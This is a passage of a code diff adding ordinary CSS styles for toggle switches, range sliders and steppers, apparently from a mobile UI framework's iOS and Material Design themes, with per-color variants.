input[type="checkbox"]:checked + .toggle-icon:before { + -webkit-transform: scale(0); + transform: scale(0); +} +.ios .toggle input[type="checkbox"]:checked + .toggle-icon:after { + -webkit-transform: translateX(20px); + transform: translateX(20px); +} +.ios .toggle-icon { + width: 52px; + border-radius: 16px; + height: 32px; + background: #e5e5e5; +} +.ios .toggle-icon:before { + position: absolute; + left: 2px; + top: 2px; + width: 48px; + height: 28px; + border-radius: 16px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + background: #fff; + z-index: 1; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transform: scale(1); + transform: scale(1); +} +.ios .toggle-icon:after { + height: 28px; + width: 28px; + top: 2px; + left: 2px; + -webkit-box-shadow: 0 2px 4px rgba(0, 0, 0, 0.3); + box-shadow: 0 2px 4px rgba(0, 0, 0, 0.3); + border-radius: 14px; +} +.ios .toggle-active-state input[type="checkbox"]:not(:checked) + .toggle-icon:before { + -webkit-transform: scale(0); + transform: scale(0); +} +.ios .toggle-active-state input[type="checkbox"] + .toggle-icon:after { + width: 35px; +} +.ios .toggle-active-state input[type="checkbox"]:checked + .toggle-icon:after { + width: 35px; + -webkit-transform: translateX(13px); + transform: translateX(13px); +} +.ios .theme-dark .toggle-icon { + background-color: #fff; +} +.ios .theme-dark .toggle-icon:before { + background-color: #1c1c1d; +} +.ios .toggle.color-red input[type="checkbox"]:checked + .toggle-icon { + background-color: #ff3b30; +} +.ios .toggle.color-green input[type="checkbox"]:checked + .toggle-icon { + background-color: #4cd964; +} +.ios .toggle.color-blue input[type="checkbox"]:checked + .toggle-icon { + background-color: #007aff; +} +.ios .toggle.color-pink input[type="checkbox"]:checked + .toggle-icon { + background-color: #ff2d55; +} +.ios .toggle.color-yellow input[type="checkbox"]:checked + .toggle-icon { + background-color: #ffcc00; +} +.ios .toggle.color-orange input[type="checkbox"]:checked + .toggle-icon { + background-color: #ff9500; +} +.ios .toggle.color-gray input[type="checkbox"]:checked + .toggle-icon { + background-color: #8e8e93; +} +.ios .toggle.color-white input[type="checkbox"]:checked + .toggle-icon { + background-color: #ffffff; +} +.ios .toggle.color-black input[type="checkbox"]:checked + .toggle-icon { + background-color: #000000; +} +.md .toggle { + width: 36px; + height: 14px; +} +.md .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(33, 150, 243, 0.5); +} +.md .toggle input[type="checkbox"]:checked + .toggle-icon:after { + -webkit-transform: translateX(16px); + transform: translateX(16px); + background: #2196f3; +} +.md .toggle-icon { + width: 36px; + height: 14px; + border-radius: 14px; + background: #b0afaf; +} +.md .toggle-icon:after { + height: 20px; + width: 20px; + top: -3px; + -webkit-box-shadow: 0 2px 5px rgba(0, 0, 0, 0.4); + box-shadow: 0 2px 5px rgba(0, 0, 0, 0.4); + border-radius: 10px; + left: 0; +} +.md .color-theme-red .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(244, 67, 54, 0.5); +} +.md .color-theme-red .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #f44336; +} +.md .color-theme-green .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(76, 175, 80, 0.5); +} +.md .color-theme-green .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #4caf50; +} +.md .color-theme-blue .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(33, 150, 243, 0.5); +} +.md .color-theme-blue .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #2196f3; +} +.md .color-theme-pink .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(233, 30, 99, 0.5); +} +.md .color-theme-pink .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #e91e63; +} +.md .color-theme-yellow .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(255, 235, 59, 0.5); +} +.md .color-theme-yellow .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #ffeb3b; +} +.md .color-theme-orange .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(255, 152, 0, 0.5); +} +.md .color-theme-orange .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #ff9800; +} +.md .color-theme-gray .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(158, 158, 158, 0.5); +} +.md .color-theme-gray .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #9e9e9e; +} +.md .color-theme-white .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(255, 255, 255, 0.5); +} +.md .color-theme-white .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #ffffff; +} +.md .color-theme-black .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(0, 0, 0, 0.5); +} +.md .color-theme-black .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #000000; +} +.md .toggle.color-red input[type="checkbox"]:checked + .toggle-icon { + background: rgba(244, 67, 54, 0.5); +} +.md .toggle.color-red input[type="checkbox"]:checked + .toggle-icon:after { + background: #f44336; +} +.md .toggle.color-green input[type="checkbox"]:checked + .toggle-icon { + background: rgba(76, 175, 80, 0.5); +} +.md .toggle.color-green input[type="checkbox"]:checked + .toggle-icon:after { + background: #4caf50; +} +.md .toggle.color-blue input[type="checkbox"]:checked + .toggle-icon { + background: rgba(33, 150, 243, 0.5); +} +.md .toggle.color-blue input[type="checkbox"]:checked + .toggle-icon:after { + background: #2196f3; +} +.md .toggle.color-pink input[type="checkbox"]:checked + .toggle-icon { + background: rgba(233, 30, 99, 0.5); +} +.md .toggle.color-pink input[type="checkbox"]:checked + .toggle-icon:after { + background: #e91e63; +} +.md .toggle.color-yellow input[type="checkbox"]:checked + .toggle-icon { + background: rgba(255, 235, 59, 0.5); +} +.md .toggle.color-yellow input[type="checkbox"]:checked + .toggle-icon:after { + background: #ffeb3b; +} +.md .toggle.color-orange input[type="checkbox"]:checked + .toggle-icon { + background: rgba(255, 152, 0, 0.5); +} +.md .toggle.color-orange input[type="checkbox"]:checked + .toggle-icon:after { + background: #ff9800; +} +.md .toggle.color-gray input[type="checkbox"]:checked + .toggle-icon { + background: rgba(158, 158, 158, 0.5); +} +.md .toggle.color-gray input[type="checkbox"]:checked + .toggle-icon:after { + background: #9e9e9e; +} +.md .toggle.color-white input[type="checkbox"]:checked + .toggle-icon { + background: rgba(255, 255, 255, 0.5); +} +.md .toggle.color-white input[type="checkbox"]:checked + .toggle-icon:after { + background: #ffffff; +} +.md .toggle.color-black input[type="checkbox"]:checked + .toggle-icon { + background: rgba(0, 0, 0, 0.5); +} +.md .toggle.color-black input[type="checkbox"]:checked + .toggle-icon:after { + background: #000000; +} +/* === Range Slider === */ +.range-slider { + display: block; + width: 100%; + position: relative; + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; + cursor: pointer; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +.range-slider input[type="range"] { + display: none; +} +.range-bar { + position: absolute; + left: 0; + top: 50%; + width: 100%; + overflow: hidden; +} +.range-bar-active { + position: absolute; + left: 0; + top: 0; + height: 100%; +} +.range-knob-wrap { + z-index: 20; + position: absolute; + top: 50%; + left: 0; +} +.range-knob { + -webkit-box-sizing: border-box; + box-sizing: border-box; + border-radius: 50%; + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + z-index: 1; +} +.range-knob:after { + content: ''; + position: absolute; + left: 50%; + top: 50%; + width: 44px; + height: 44px; + margin-left: -22px; + margin-top: -22px; +} +.range-knob-label { + position: absolute; + left: 50%; + bottom: 100%; + text-align: center; + -webkit-transition-duration: 120ms; + transition-duration: 120ms; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + -webkit-transform: translateY(100%) scale(0); + transform: translateY(100%) scale(0); +} +.range-knob-active-state .range-knob-label { + -webkit-transform: translateY(0%) scale(1); + transform: translateY(0%) scale(1); +} +.ios .range-slider { + height: 28px; +} +.ios .range-bar { + background: #b7b8b7; + border-radius: 2px; + height: 1px; +} +.ios .range-bar-active { + background: #007aff; +} +.ios .range-knob-wrap { + height: 28px; + width: 28px; + margin-top: -14px; + margin-left: -14px; +} +.ios .range-knob { + background: #fff; + -webkit-box-shadow: 0 2px 4px rgba(0, 0, 0, 0.3); + box-shadow: 0 2px 4px rgba(0, 0, 0, 0.3); +} +.ios .range-knob-label { + min-width: 20px; + height: 20px; + line-height: 20px; + background: #fff; + border-radius: 5px; + color: #000; + font-size: 12px; + margin-bottom: 6px; + -webkit-transform: translateX(-50%) translateY(100%) scale(0); + transform: translateX(-50%) translateY(100%) scale(0); +} +.ios .range-knob-active-state .range-knob-label { + -webkit-transform: translateX(-50%) translateY(0%) scale(1); + transform: translateX(-50%) translateY(0%) scale(1); +} +.ios .color-theme-red .range-slider .range-bar-active { + background-color: #ff3b30; +} +.ios .color-theme-green .range-slider .range-bar-active { + background-color: #4cd964; +} +.ios .color-theme-blue .range-slider .range-bar-active { + background-color: #007aff; +} +.ios .color-theme-pink .range-slider .range-bar-active { + background-color: #ff2d55; +} +.ios .color-theme-yellow .range-slider .range-bar-active { + background-color: #ffcc00; +} +.ios .color-theme-orange .range-slider .range-bar-active { + background-color: #ff9500; +} +.ios .color-theme-gray .range-slider .range-bar-active { + background-color: #8e8e93; +} +.ios .color-theme-white .range-slider .range-bar-active { + background-color: #ffffff; +} +.ios .color-theme-black .range-slider .range-bar-active { + background-color: #000000; +} +.ios .range-slider.color-red .range-bar-active { + background-color: #ff3b30; +} +.ios .range-slider.color-green .range-bar-active { + background-color: #4cd964; +} +.ios .range-slider.color-blue .range-bar-active { + background-color: #007aff; +} +.ios .range-slider.color-pink .range-bar-active { + background-color: #ff2d55; +} +.ios .range-slider.color-yellow .range-bar-active { + background-color: #ffcc00; +} +.ios .range-slider.color-orange .range-bar-active { + background-color: #ff9500; +} +.ios .range-slider.color-gray .range-bar-active { + background-color: #8e8e93; +} +.ios .range-slider.color-white .range-bar-active { + background-color: #ffffff; +} +.ios .range-slider.color-black .range-bar-active { + background-color: #000000; +} +.md .range-slider { + height: 20px; +} +.md .range-bar { + background: #b9b9b9; + height: 2px; + margin-top: -1px; +} +.md .range-bar-active { + background: #2196f3; +} +.md .range-knob-wrap { + height: 12px; + width: 12px; + margin-top: -6px; + margin-left: -6px; +} +.md .range-knob { + background: #2196f3; + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + -webkit-transition-property: background-color, -webkit-transform; + transition-property: background-color, -webkit-transform; + transition-property: transform, background-color; + transition-property: transform, background-color, -webkit-transform; +} +.md .range-knob-active-state .range-knob { + -webkit-transform: scale(1.5); + transform: scale(1.5); +} +.md .range-slider-min:not(.range-slider-dual) .range-knob { + background: #fff !important; + border: 2px solid #b9b9b9; +} +.md .range-knob-label { + width: 26px; + height: 26px; + margin-left: -13px; + margin-bottom: 8px; + background: #2196f3; + color: #fff; + font-size: 10px; + border-radius: 50%; + line-height: 26px; +} +.md .range-knob-label:before { + content: ''; + left: 50%; + top: 0px; + margin-left: -13px; + position: absolute; + z-index: -1; + width: 26px; + height: 26px; + background: #2196f3; + -webkit-transform: rotate(-45deg); + transform: rotate(-45deg); + border-radius: 50% 50% 50% 0; +} +.md .range-knob-active-state .range-knob-label { + -webkit-transform: translateY(0%) scale(1); + transform: translateY(0%) scale(1); +} +.md .range-slider-label .range-knob-active-state .range-knob { + -webkit-transform: scale(0); + transform: scale(0); +} +.md .color-theme-red .range-slider .range-bar-active, +.md .color-theme-red .range-slider .range-knob, +.md .color-theme-red .range-slider .range-knob-label, +.md .color-theme-red .range-slider .range-knob-label:before { + background-color: #f44336; +} +.md .color-theme-green .range-slider .range-bar-active, +.md .color-theme-green .range-slider .range-knob, +.md .color-theme-green .range-slider .range-knob-label, +.md .color-theme-green .range-slider .range-knob-label:before { + background-color: #4caf50; +} +.md .color-theme-blue .range-slider .range-bar-active, +.md .color-theme-blue .range-slider .range-knob, +.md .color-theme-blue .range-slider .range-knob-label, +.md .color-theme-blue .range-slider .range-knob-label:before { + background-color: #2196f3; +} +.md .color-theme-pink .range-slider .range-bar-active, +.md .color-theme-pink .range-slider .range-knob, +.md .color-theme-pink .range-slider .range-knob-label, +.md .color-theme-pink .range-slider .range-knob-label:before { + background-color: #e91e63; +} +.md .color-theme-yellow .range-slider .range-bar-active, +.md .color-theme-yellow .range-slider .range-knob, +.md .color-theme-yellow .range-slider .range-knob-label, +.md .color-theme-yellow .range-slider .range-knob-label:before { + background-color: #ffeb3b; +} +.md .color-theme-orange .range-slider .range-bar-active, +.md .color-theme-orange .range-slider .range-knob, +.md .color-theme-orange .range-slider .range-knob-label, +.md .color-theme-orange .range-slider .range-knob-label:before { + background-color: #ff9800; +} +.md .color-theme-gray .range-slider .range-bar-active, +.md .color-theme-gray .range-slider .range-knob, +.md .color-theme-gray .range-slider .range-knob-label, +.md .color-theme-gray .range-slider .range-knob-label:before { + background-color: #9e9e9e; +} +.md .color-theme-white .range-slider .range-bar-active, +.md .color-theme-white .range-slider .range-knob, +.md .color-theme-white .range-slider .range-knob-label, +.md .color-theme-white .range-slider .range-knob-label:before { + background-color: #ffffff; +} +.md .color-theme-black .range-slider .range-bar-active, +.md .color-theme-black .range-slider .range-knob, +.md .color-theme-black .range-slider .range-knob-label, +.md .color-theme-black .range-slider .range-knob-label:before { + background-color: #000000; +} +.md .range-slider.color-red .range-bar-active, +.md .range-slider.color-red .range-knob, +.md .range-slider.color-red .range-knob-label, +.md .range-slider.color-red .range-knob-label:before { + background-color: #f44336; +} +.md .range-slider.color-green .range-bar-active, +.md .range-slider.color-green .range-knob, +.md .range-slider.color-green .range-knob-label, +.md .range-slider.color-green .range-knob-label:before { + background-color: #4caf50; +} +.md .range-slider.color-blue .range-bar-active, +.md .range-slider.color-blue .range-knob, +.md .range-slider.color-blue .range-knob-label, +.md .range-slider.color-blue .range-knob-label:before { + background-color: #2196f3; +} +.md .range-slider.color-pink .range-bar-active, +.md .range-slider.color-pink .range-knob, +.md .range-slider.color-pink .range-knob-label, +.md .range-slider.color-pink .range-knob-label:before { + background-color: #e91e63; +} +.md .range-slider.color-yellow .range-bar-active, +.md .range-slider.color-yellow .range-knob, +.md .range-slider.color-yellow .range-knob-label, +.md .range-slider.color-yellow .range-knob-label:before { + background-color: #ffeb3b; +} +.md .range-slider.color-orange .range-bar-active, +.md .range-slider.color-orange .range-knob, +.md .range-slider.color-orange .range-knob-label, +.md .range-slider.color-orange .range-knob-label:before { + background-color: #ff9800; +} +.md .range-slider.color-gray .range-bar-active, +.md .range-slider.color-gray .range-knob, +.md .range-slider.color-gray .range-knob-label, +.md .range-slider.color-gray .range-knob-label:before { + background-color: #9e9e9e; +} +.md .range-slider.color-white .range-bar-active, +.md .range-slider.color-white .range-knob, +.md .range-slider.color-white .range-knob-label, +.md .range-slider.color-white .range-knob-label:before { + background-color: #ffffff; +} +.md .range-slider.color-black .range-bar-active, +.md .range-slider.color-black .range-knob, +.md .range-slider.color-black .range-knob-label, +.md .range-slider.color-black .range-knob-label:before { + background-color: #000000; +} +/* === Stepper === */ +.stepper { + display: -webkit-inline-box; + display: -webkit-inline-flex; + display: -ms-inline-flexbox; + display: inline-flex; + -webkit-box-align: stretch; + -webkit-align-items: stretch; + -ms-flex-align: stretch; + align-items: stretch; +} +.stepper-button, +.stepper-button-minus, +.stepper-button-plus { + text-align: center; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + cursor: pointer; +} +.stepper-button .icon, +.stepper-button-minus .icon, +.stepper-button-plus .icon { + pointer-events: none; +} +.stepper-value { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; +} +.stepper-input-wrap, +.stepper-value { + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + text-align: center; +} +.stepper-button-plus, +.stepper-button-minus { + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +.stepper-button-plus:after, +.stepper-button-minus:after, +.stepper-button-plus:before, +.stepper-button-minus:before { + content: ''; + position: absolute; + left: 50%; + top: 50%; + -webkit-transform: translate(-50%, -50%); + transform: translate(-50%, -50%); +} +.stepper-button-plus:after, +.stepper-button-minus:after { + width: 15px; + height: 2px; +} +.stepper-button-plus:before { + height: 15px; + width: 2px; +} +.stepper .stepper-input-wrap input, +.stepper .stepper-value { + width: 45px; +} +.ios .stepper { + height: 29px; +} +.ios .stepper-button, +.ios .stepper-button-minus, +.ios .stepper-button-plus { + border: 1px solid #007aff; + color: #007aff; + border-radius: 5px; + line-height: 27px; + height: 29px; + width: 40px; +} +.ios .stepper-button .f7-icons, +.ios .stepper-button-minus .f7-icons, +.ios .stepper-button-plus .f7-icons { + font-size: 22px; +} +.ios .stepper-button:first-child, +.ios .stepper-button-minus:first-child, +.ios .stepper-button-plus:first-child { + border-radius: 5px 0 0 5px; +} +.ios .stepper-button:last-child, +.ios .stepper-button-minus:last-child, +.ios .stepper-button-plus:last-child { + border-radius: 0 5px 5px 0; +} +.ios .stepper-button.active-state, +.ios .stepper-button-minus.active-state, +.ios .stepper-button-plus.active-state { + background: rgba(0, 122, 255, 0.15); +} +.ios .stepper-button + .stepper-button, +.ios .stepper-button-minus + .stepper-button, +.ios .stepper-button-plus + .stepper-button, +.ios .stepper-button + .stepper-button-minus, +.ios .stepper-button-minus + .stepper-button-minus, +.ios .stepper-button-plus + .stepper-button-minus, +.ios .stepper-button + .stepper-button-plus, +.ios .stepper-button-minus + .stepper-button-plus, +.ios .stepper-button-plus + .stepper-button-plus { + border-left: none; +} +.ios .stepper-button-plus:after, +.ios .stepper-button-minus:after, +.ios .stepper-button-plus:before, +.ios .stepper-button-minus:before { + background: #007aff; +} +.ios .stepper-input-wrap, +.ios .stepper-value { + border-top: 1px solid #007aff; + border-bottom: 1px solid #007aff; +} +.ios .stepper .stepper-value { + color: #007aff; + font-size: 17px; +} +.ios .stepper .stepper-input-wrap input { + height: 100%; + text-align: center; + color: #007aff; + font-size: 17px; +} +.ios .stepper-fill .stepper-button, +.ios .stepper-fill-ios .stepper-button, +.ios .stepper-fill .stepper-button-minus, +.ios .stepper-fill-ios .stepper-button-minus, +.ios .stepper-fill .stepper-button-plus, +.ios .stepper-fill-ios .stepper-button-plus { + color: #fff; + background: #007aff; +} +.ios .stepper-fill .stepper-button.active-state, +.ios .stepper-fill-ios .stepper-button.active-state, +.ios .stepper-fill .stepper-button-minus.active-state, +.ios .stepper-fill-ios .stepper-button-minus.active-state, +.ios .stepper-fill .stepper-button-plus.active-state, +.ios .stepper-fill-ios .stepper-button-plus.active-state { + opacity: 0.8; +} +.ios .stepper-fill .stepper-button-plus:before, +.ios .stepper-fill-ios .stepper-button-plus:before, +.ios .stepper-fill .stepper-button-minus:before, +.ios .stepper-fill-ios .stepper-button-minus:before, +.ios .stepper-fill .stepper-button-plus:after, +.ios .stepper-fill-ios .stepper-button-plus:after, +.ios .stepper-fill .stepper-button-minus:after, +.ios .stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper-fill .stepper-button + .stepper-button, +.ios .stepper-fill-ios .stepper-button + .stepper-button, +.ios .stepper-fill .stepper-button-minus + .stepper-button-plus, +.ios .stepper-fill-ios .stepper-button-minus + .stepper-button-plus { + border-left: 1px solid rgba(0, 0, 0, 0.1); +} +.ios .stepper-round .stepper-button:first-child, +.ios .stepper-round-ios .stepper-button:first-child, +.ios .stepper-round .stepper-button-minus:first-child, +.ios .stepper-round-ios .stepper-button-minus:first-child, +.ios .stepper-round .stepper-button-plus:first-child, +.ios .stepper-round-ios .stepper-button-plus:first-child { + border-radius: 29px 0 0 29px; +} +.ios .stepper-round .stepper-button:last-child, +.ios .stepper-round-ios .stepper-button:last-child, +.ios .stepper-round .stepper-button-minus:last-child, +.ios .stepper-round-ios .stepper-button-minus:last-child, +.ios .stepper-round .stepper-button-plus:last-child, +.ios .stepper-round-ios .stepper-button-plus:last-child { + border-radius: 0 29px 29px 0; +} +.ios .stepper-small, +.ios .stepper-small-ios { + height: 26px; +} +.ios .stepper-small .stepper-input-wrap, +.ios .stepper-small-ios .stepper-input-wrap, +.ios .stepper-small .stepper-value, +.ios .stepper-small-ios .stepper-value { + border-top-width: 2px; + border-bottom-width: 2px; +} +.ios .stepper-small .stepper-button, +.ios .stepper-small-ios .stepper-button, +.ios .stepper-small .stepper-button-minus, +.ios .stepper-small-ios .stepper-button-minus, +.ios .stepper-small .stepper-button-plus, +.ios .stepper-small-ios .stepper-button-plus { + height: 26px; + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + line-height: 22px; + border-width: 2px; +} +.ios .stepper-small .stepper-button .f7-icons, +.ios .stepper-small-ios .stepper-button .f7-icons, +.ios .stepper-small .stepper-button-minus .f7-icons, +.ios .stepper-small-ios .stepper-button-minus .f7-icons, +.ios .stepper-small .stepper-button-plus .f7-icons, +.ios .stepper-small-ios .stepper-button-plus .f7-icons { + font-size: 18px; +} +.ios .stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper-small.stepper-fill-ios .stepper-button.active-state, +.ios .stepper-small-ios.stepper-fill-ios .stepper-button.active-state, +.ios .stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper-small.stepper-fill-ios .stepper-button-minus.active-state, +.ios .stepper-small-ios.stepper-fill-ios .stepper-button-minus.active-state, +.ios .stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper-small-ios.stepper-fill .stepper-button-plus.active-state, +.ios .stepper-small.stepper-fill-ios .stepper-button-plus.active-state, +.ios .stepper-small-ios.stepper-fill-ios .stepper-button-plus.active-state { + color: #007aff; + border-color: #007aff; + background-color: transparent; + opacity: 1; +} +.ios .stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper-small.stepper-fill-ios .stepper-button-plus.active-state:before, +.ios .stepper-small-ios.stepper-fill-ios .stepper-button-plus.active-state:before, +.ios .stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper-small.stepper-fill-ios .stepper-button-minus.active-state:before, +.ios .stepper-small-ios.stepper-fill-ios .stepper-button-minus.active-state:before, +.ios .stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper-small.stepper-fill-ios .stepper-button-plus.active-state:after, +.ios .stepper-small-ios.stepper-fill-ios .stepper-button-plus.active-state:after, +.ios .stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper-small.stepper-fill-ios .stepper-button-minus.active-state:after, +.ios .stepper-small-ios.stepper-fill-ios .stepper-button-minus.active-state:after { + background-color: #007aff; +} +.ios .stepper-big, +.ios .stepper-big-ios { + height: 44px; +} +.ios .stepper-big .stepper-button, +.ios .stepper-big-ios .stepper-button, +.ios .stepper-big .stepper-button-minus, +.ios .stepper-big-ios .stepper-button-minus, +.ios .stepper-big .stepper-button-plus, +.ios .stepper-big-ios .stepper-button-plus { + height: 44px; + line-height: 42px; +} +.ios .color-theme-red .stepper .stepper-button, +.ios .color-theme-red .stepper .stepper-button-minus, +.ios .color-theme-red .stepper .stepper-button-plus { + border-color: #ff3b30; + color: #ff3b30; +} +.ios .color-theme-red .stepper .stepper-button.active-state, +.ios .color-theme-red .stepper .stepper-button-minus.active-state, +.ios .color-theme-red .stepper .stepper-button-plus.active-state { + background-color: rgba(255, 59, 48, 0.15); +} +.ios .color-theme-red .stepper .stepper-button-plus:after, +.ios .color-theme-red .stepper .stepper-button-minus:after, +.ios .color-theme-red .stepper .stepper-button-plus:before, +.ios .color-theme-red .stepper .stepper-button-minus:before { + background-color: #ff3b30; +} +.ios .color-theme-red .stepper .stepper-value, +.ios .color-theme-red .stepper .stepper-input-wrap { + border-top-color: #ff3b30; + border-bottom-color: #ff3b30; +} +.ios .color-theme-red .stepper .stepper-value { + color: #ff3b30; +} +.ios .color-theme-red .stepper .stepper-input-wrap input { + color: #ff3b30; +} +.ios .color-theme-red .stepper.stepper-fill .stepper-button, +.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-red .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-red .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #ff3b30; +} +.ios .color-theme-red .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-red .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-red .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-red .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ff3b30; + border-color: #ff3b30; + background-color: transparent; +} +.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ff3b30; +} +.ios .color-theme-green .stepper .stepper-button, +.ios .color-theme-green .stepper .stepper-button-minus, +.ios .color-theme-green .stepper .stepper-button-plus { + border-color: #4cd964; + color: #4cd964; +} +.ios .color-theme-green .stepper .stepper-button.active-state, +.ios .color-theme-green .stepper .stepper-button-minus.active-state, +.ios .color-theme-green .stepper .stepper-button-plus.active-state { + background-color: rgba(76, 217, 100, 0.15); +} +.ios .color-theme-green .stepper .stepper-button-plus:after, +.ios .color-theme-green .stepper .stepper-button-minus:after, +.ios .color-theme-green .stepper .stepper-button-plus:before, +.ios .color-theme-green .stepper .stepper-button-minus:before { + background-color: #4cd964; +} +.ios .color-theme-green .stepper .stepper-value, +.ios .color-theme-green .stepper .stepper-input-wrap { + border-top-color: #4cd964; + border-bottom-color: #4cd964; +} +.ios .color-theme-green .stepper .stepper-value { + color: #4cd964; +} +.ios .color-theme-green .stepper .stepper-input-wrap input { + color: #4cd964; +} +.ios .color-theme-green .stepper.stepper-fill .stepper-button, +.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-green .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-green .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #4cd964; +} +.ios .color-theme-green .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-green .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-green .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-green .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #4cd964; + border-color: #4cd964; + background-color: transparent; +} +.ios .color-theme-green 